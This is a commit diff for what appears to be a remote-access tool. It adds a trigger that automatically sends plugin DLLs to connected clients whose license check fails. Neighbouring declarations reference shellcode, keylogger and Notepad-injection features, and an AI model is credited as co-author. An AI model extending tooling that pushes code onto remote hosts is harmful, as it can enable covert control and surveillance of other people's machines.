Feature: Add auth-failed trigger type (授权失败触发)
Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at initial TOKEN_AUTH or on a later heartbeat — the server fires the auth-failed trigger and sends the configured plugin DLLs to the client, gated by the existing ShouldLogAuth dedup so a persistently failing host is re-triggered only once per hour or on a state change. VerifyClientAuth gains a sender parameter so the failure branch can reach the live connection context; both call sites (TOKEN_AUTH and heartbeat) pass it. TriggerManager caches the auth-failed plugin names in a separate set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online trigger path untouched. Rework the settings dialog so the plugin checklist reflects the currently selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE handler) instead of hardcoding the online trigger; remove the now-unused GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and de_DE. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
1 parent
d269df9171
commit
d80d8f21da
7 files changed
+109
-34
No files matched your search
@@ -5748,7 +5748,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
|
||||
// 统一的 V1/V2 授权验证
|
||||
std::string ip = ContextObject->GetPeerName();
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH");
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject);
|
||||
valid = authorized;
|
||||
bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
|
||||
|
||||
@@ -7197,7 +7197,8 @@ std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
|
||||
// expired=true 表示签名有效但已过期(可用于续期)
|
||||
std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
|
||||
const std::string& sn, const std::string& passcode, uint64_t hmac,
|
||||
const std::string& hmacV2, const std::string& ip, const char* source)
|
||||
const std::string& hmacV2, const std::string& ip, const char* source,
|
||||
CONTEXT_OBJECT* sender)
|
||||
{
|
||||
BOOL authorized = -1;
|
||||
bool isV2 = false;
|
||||
@@ -7223,6 +7224,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
ExecuteAuthFailedTrigger(sender);
|
||||
}
|
||||
}
|
||||
} else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
|
||||
@@ -7244,6 +7246,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
|
||||
Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
|
||||
std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
|
||||
ExecuteAuthFailedTrigger(sender);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -7340,7 +7343,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
||||
|
||||
// 统一的 V1/V2 授权验证
|
||||
std::string ip = ctx->GetClientData(ONLINELIST_IP);
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB");
|
||||
auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx);
|
||||
(void)expired; // 心跳不需要处理过期续期
|
||||
|
||||
// 检查并发送预设续期(多点验证)
|
||||
@@ -11471,6 +11474,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
|
||||
}
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx)
|
||||
{
|
||||
if (!ctx || m_DllList.empty()) return;
|
||||
|
||||
// 快速检查是否有授权失败触发器(使用缓存,无磁盘IO)
|
||||
if (!TriggerManager::Instance().HasAuthFailedTrigger()) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 获取触发器插件列表(从缓存获取)
|
||||
auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins();
|
||||
if (pluginNames.empty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str());
|
||||
|
||||
// 遍历触发器配置的插件列表
|
||||
for (const auto& pluginName : pluginNames) {
|
||||
// 查找对应的 DLL
|
||||
DllInfo* targetDll = nullptr;
|
||||
for (auto& dll : m_DllList) {
|
||||
if (dll && dll->Name == pluginName) {
|
||||
targetDll = dll;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetDll || !targetDll->Data) {
|
||||
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
// 发送 DLL 到客户端
|
||||
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
|
||||
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
|
||||
}
|
||||
}
|
||||
|
||||
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||
{
|
||||
CString clientIP(ip.c_str());
|
||||
|
||||
@@ -233,9 +233,10 @@ public:
|
||||
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
|
||||
// expired=true 表示签名有效但已过期(可用于续期)
|
||||
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
||||
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
|
||||
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
|
||||
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
|
||||
const char* source = "AUTH");
|
||||
const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
|
||||
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
|
||||
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
|
||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||
@@ -651,6 +652,7 @@ public:
|
||||
afx_msg void OnToolPluginSettings();
|
||||
afx_msg void OnTriggerSettings();
|
||||
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
||||
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
|
||||
afx_msg void OnShellcodeAesCArray();
|
||||
afx_msg void OnParamKblogger();
|
||||
afx_msg void OnOnlineInjNotepad();
|
||||
|
||||
@@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
||||
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
||||
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||
@@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls()
|
||||
{
|
||||
// 初始化触发类型下拉框
|
||||
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
||||
m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败"));
|
||||
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
||||
|
||||
// 初始化插件列表
|
||||
@@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList()
|
||||
index++;
|
||||
}
|
||||
|
||||
// 如果有已配置的主机上线触发器,勾选对应的插件
|
||||
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
|
||||
if (onlineTrigger) {
|
||||
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||
if (!dll) continue;
|
||||
for (const auto& pluginName : onlineTrigger->PluginNames) {
|
||||
if (pluginName == dll->Name) {
|
||||
m_listPlugins.SetCheck(i, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 回显当前选中触发类型已勾选的插件
|
||||
ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel());
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::LoadTriggersToList()
|
||||
{
|
||||
m_listTriggers.DeleteAllItems();
|
||||
|
||||
const char* typeNames[] = { "主机上线" };
|
||||
const char* typeNames[] = { "主机上线", "授权失败" };
|
||||
|
||||
int index = 0;
|
||||
for (const auto& cfg : m_Configs) {
|
||||
@@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
||||
|
||||
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||
|
||||
// 回显该触发器配置的插件,并同步下拉框选择
|
||||
ReflectPluginsForType(type);
|
||||
m_comboTriggerType.SetCurSel(type);
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType()
|
||||
{
|
||||
int sel = m_comboTriggerType.GetCurSel();
|
||||
if (sel >= 0) {
|
||||
ReflectPluginsForType((TriggerType)sel);
|
||||
}
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type)
|
||||
{
|
||||
// 查找对应的触发器配置
|
||||
TriggerConfig* cfg = nullptr;
|
||||
for (auto& c : m_Configs) {
|
||||
@@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 同步下拉框选择
|
||||
m_comboTriggerType.SetCurSel(type);
|
||||
}
|
||||
|
||||
void CTriggerSettingsDlg::OnBnClickedBtnSave()
|
||||
@@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& c
|
||||
TriggerManager::Instance().Reload();
|
||||
}
|
||||
|
||||
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
|
||||
{
|
||||
for (auto& cfg : configs) {
|
||||
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
|
||||
return &cfg;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// TriggerManager 实现
|
||||
// ============================================
|
||||
@@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk()
|
||||
{
|
||||
// 不加锁,由调用者保证线程安全
|
||||
m_OnlinePlugins.clear();
|
||||
m_AuthFailedPlugins.clear();
|
||||
|
||||
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
|
||||
for (const auto& cfg : configs) {
|
||||
@@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk()
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
m_OnlinePlugins.insert(name);
|
||||
}
|
||||
} else if (cfg.Type == TRIGGER_AUTH_FAILED) {
|
||||
for (const auto& name : cfg.PluginNames) {
|
||||
m_AuthFailedPlugins.insert(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
m_bLoaded = true;
|
||||
@@ -495,3 +492,25 @@ std::set<std::string> TriggerManager::GetOnlinePlugins()
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return result;
|
||||
}
|
||||
|
||||
bool TriggerManager::HasAuthFailedTrigger()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
bool has = !m_AuthFailedPlugins.empty();
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return has;
|
||||
}
|
||||
|
||||
std::set<std::string> TriggerManager::GetAuthFailedPlugins()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (!m_bLoaded) {
|
||||
LoadFromDisk();
|
||||
}
|
||||
std::set<std::string> result = m_AuthFailedPlugins; // 复制一份返回
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return result;
|
||||
}
|
||||
@@ -12,6 +12,7 @@ struct DllInfo;
|
||||
// 触发器类型
|
||||
enum TriggerType {
|
||||
TRIGGER_HOST_ONLINE = 0, // 主机上线
|
||||
TRIGGER_AUTH_FAILED = 1, // 授权失败
|
||||
// 后续可扩展更多类型
|
||||
};
|
||||
|
||||
@@ -34,12 +35,18 @@ public:
|
||||
// 获取主机上线触发器的插件名称集合(高性能查询)
|
||||
std::set<std::string> GetOnlinePlugins();
|
||||
|
||||
// 获取授权失败触发器的插件名称集合(高性能查询)
|
||||
std::set<std::string> GetAuthFailedPlugins();
|
||||
|
||||
// 重新加载配置(保存后调用)
|
||||
void Reload();
|
||||
|
||||
// 检查是否有上线触发器
|
||||
bool HasOnlineTrigger();
|
||||
|
||||
// 检查是否有授权失败触发器
|
||||
bool HasAuthFailedTrigger();
|
||||
|
||||
private:
|
||||
TriggerManager();
|
||||
~TriggerManager();
|
||||
@@ -50,6 +57,7 @@ private:
|
||||
|
||||
CRITICAL_SECTION m_cs;
|
||||
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
|
||||
std::set<std::string> m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称
|
||||
bool m_bLoaded;
|
||||
};
|
||||
|
||||
@@ -68,8 +76,6 @@ public:
|
||||
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
|
||||
// 静态方法:获取配置文件路径
|
||||
static std::string GetTriggerConfigPath();
|
||||
// 静态方法:获取主机上线触发器(如果存在)
|
||||
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
@@ -81,12 +87,15 @@ protected:
|
||||
afx_msg void OnBnClickedBtnTriggerAdd();
|
||||
afx_msg void OnBnClickedBtnTriggerRemove();
|
||||
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnCbnSelchangeComboTriggerType();
|
||||
|
||||
private:
|
||||
void InitControls();
|
||||
void LoadPluginsToList();
|
||||
void LoadTriggersToList();
|
||||
void UpdateTriggerDisplay();
|
||||
// 回显指定触发类型已勾选的插件(取消其他勾选)
|
||||
void ReflectPluginsForType(TriggerType type);
|
||||
|
||||
private:
|
||||
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||
|
||||
@@ -1824,6 +1824,7 @@ IOCP
|
||||
触发类型:=Ausloesertyp:
|
||||
执行动作:=Aktion:
|
||||
主机上线=Host online
|
||||
授权失败=Autorisierung fehlgeschlagen
|
||||
插件名称=Plugin-Name
|
||||
触发器=Ausloeser
|
||||
已配置的触发器=Konfigurierte Ausloeser
|
||||
|
||||
@@ -1825,6 +1825,7 @@ IOCP
|
||||
触发类型:=Trigger Type:
|
||||
执行动作:=Action:
|
||||
主机上线=Host Online
|
||||
授权失败=Authorization Failed
|
||||
插件名称=Plugin Name
|
||||
触发器=Trigger
|
||||
已配置的触发器=Configured Triggers
|
||||
|
||||
@@ -1817,6 +1817,7 @@ IOCP
|
||||
触发类型:=觸發類型:
|
||||
执行动作:=執行動作:
|
||||
主机上线=主機上線
|
||||
授权失败=授權失敗
|
||||
插件名称=外掛名稱
|
||||
触发器=觸發器
|
||||
已配置的触发器=已設定的觸發器
|
||||
|
||||
Reference in new issue
Block a user